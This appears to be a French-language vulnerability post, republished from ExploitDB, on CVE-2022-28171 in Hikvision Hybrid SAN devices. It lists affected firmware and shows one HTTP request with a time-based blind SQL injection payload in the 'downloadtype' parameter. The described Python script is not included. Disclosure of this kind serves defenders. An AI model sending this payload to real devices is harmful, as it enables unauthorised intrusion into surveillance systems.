
Exploit Python pour CVE-2022-28171 ciblant les appareils Hikvision Hybrid SAN, automatisant l'injection SQL aveugle et l'injection de commandes pour obtenir une exécution de code à distance.
J'ai initialement publié ceci sur ExploitDB, que vous pouvez trouver à l'adresse https://www.exploit-db.com/exploits/51607
# Date: 16 July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s
Hikvision est un fabricant et fournisseur de premier plan mondial dans le domaine de la vidéosurveillance et de l'Internet des objets (IoT), pour des usages civils et militaires. Certains produits Hikvision Hybrid SAN étaient vulnérables à de multiples vulnérabilités d'exécution de code à distance, telles que l'injection de commandes, l'injection SQL aveugle, la contrebande de requêtes HTTP et le cross-site scripting réfléchi. Cela permettait une exécution de code à distance, rendant possible l'exécution de commandes arbitraires du système d'exploitation, entre autres.
Le test manuel a confirmé que le paramètre "downloadtype" était vulnérable à l'injection SQL aveugle et à l'injection de commandes. J'ai créé un script Python pour automatiser et énumérer les versions de SQL, car l'application était derrière un pare-feu qui bloquait toutes les requêtes de SQLmap.
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close